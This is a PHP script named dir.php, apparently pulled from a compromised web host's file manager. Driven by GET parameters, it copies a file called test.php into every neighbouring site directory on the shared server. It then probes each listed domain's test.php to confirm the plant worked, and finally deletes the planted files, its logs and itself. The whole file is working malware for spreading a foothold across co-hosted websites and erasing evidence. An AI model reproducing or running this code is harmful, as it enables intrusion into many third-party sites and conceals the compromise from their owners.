Viewing File: /htdocs/ptso.jmkconsulting-ci.com/dir.php

<?php
error_reporting(1);
if(isset($_GET["action"]) && isset($_GET["path"])){
$ptfile = $_GET["path"];
$act_type = $_GET["action"];
$genfile = $_SERVER['DOCUMENT_ROOT'];
function str_path($ptfile){
	return str_replace('//','/',$ptfile);
}
function gtdir($filepath){
	$show = array();
	$dir = dir($filepath);
	while($file = $dir->read()){
		$files = str_path($filepath.'/'.$file);
		if(strstr($files,".html") or strstr($files,".txt") or strstr($files,".php") or strstr($files,".jpg") or strstr($files,".png") or strstr($files,".gif") or strstr($files,".sql") or strstr($files,".ico") or strstr($files,".css") or strstr($files,".bak") or strstr($files,"-bak") or strstr($files,".zip") or strstr($files,"/.")) continue;
		$show[] = $files;
	}
	$dir->close();
	return $show;
}
function del($file){
	unlink($file);
}
switch ($ptfile){
	case '0';
	$webhome = $genfile;
	break;
	case '1';
	preg_match("/.*\/(.*?)$/i",$genfile,$htm);
	$webhome = str_replace("/".$htm[1],"",$genfile);
	break;
	case '2';
	preg_match("/.*\/(.*?)\/(.*?)$/i",$genfile,$htm);
	$webhome = str_replace("/".$htm[1]."/".$htm[2],"",$genfile);
	break;
	case '3';
	preg_match("/.*\/(.*?)\/(.*?)\/(.*?)$/i",$genfile,$htm);
	$webhome = str_replace("/".$htm[1]."/".$htm[2]."/".$htm[3],"",$genfile);
	break;
	case '4';
	preg_match("/.*\/(.*?)\/(.*?)\/(.*?)\/(.*?)$/i",$genfile,$htm);
	$webhome = str_replace("/".$htm[1]."/".$htm[2]."/".$htm[3]."/".$htm[4],"",$genfile);
	break;
}
if($act_type == 'copy'){
$genfilepath = gtdir($webhome);
foreach ($genfilepath as $web){
	if($ptfile =='2'){
	copy($genfile."/test.php",$web."/".$htm[2]."/test.php");
	$host = str_replace($webhome."/","",$web);
	echo $host."</br>";
	}elseif($ptfile =='3'){
	copy($genfile."/test.php",$web."/".$htm[2]."/".$htm[3]."/test.php");
	$host = str_replace($webhome."/","",$web);
	echo $host."</br>";
	}elseif($ptfile =='4'){
	copy($genfile."/test.php",$web."/".$htm[2]."/".$htm[3]."/".$htm[4]."/test.php");
	$host = str_replace($webhome."/","",$web);
	echo $host."</br>";
	}else{
	copy($genfile."/test.php",$web."/test.php");
	$host = str_replace($webhome."/","",$web);
	echo $host."</br>";
	}
}
echo "all file copy is success.";
}else if($act_type == 'test'){
	$file = file_get_contents('list.txt');
	$darray = preg_split('/[\s,]+/', $file, -1, PREG_SPLIT_NO_EMPTY);
	foreach($darray as $domain){
		$url="http://".$domain."/test.php?test=1";
		$result=file_get_contents($url);
		if(strstr($result,"the website is ok")){
			$fp=fopen("ok.txt","a");
			fwrite($fp,$url."\n");
			fclose($fp);
		}
	}
	$fp=fopen("ok.txt","a");
	fwrite($fp,"get url is ok.");
	fclose($fp);
}else if($act_type == 'del'){
$genfilepath = gtdir($webhome);
foreach ($genfilepath as $web){
	if($ptfile =='2'){
	del($web."/".$htm[2]."/test.php");
	$host = str_replace($webhome."/","",$web);
	echo $host."</br>";
	}elseif($ptfile =='3'){
	del($web."/".$htm[2]."/".$htm[3]."/test.php");
	$host = str_replace($webhome."/","",$web);
	echo $host."</br>";
	}elseif($ptfile =='4'){
	del($web."/".$htm[2]."/".$htm[3]."/".$htm[4]."/test.php");
	$host = str_replace($webhome."/","",$web);
	echo $host."</br>";
	}else{
	del($web."/test.php");
	$host = str_replace($webhome."/","",$web);
	echo $host."</br>";
	}
}
del("./dir.php");
del("./list.txt");
del("./ok.txt");
echo "all delete success.";
}
}
Back to Directory File Manager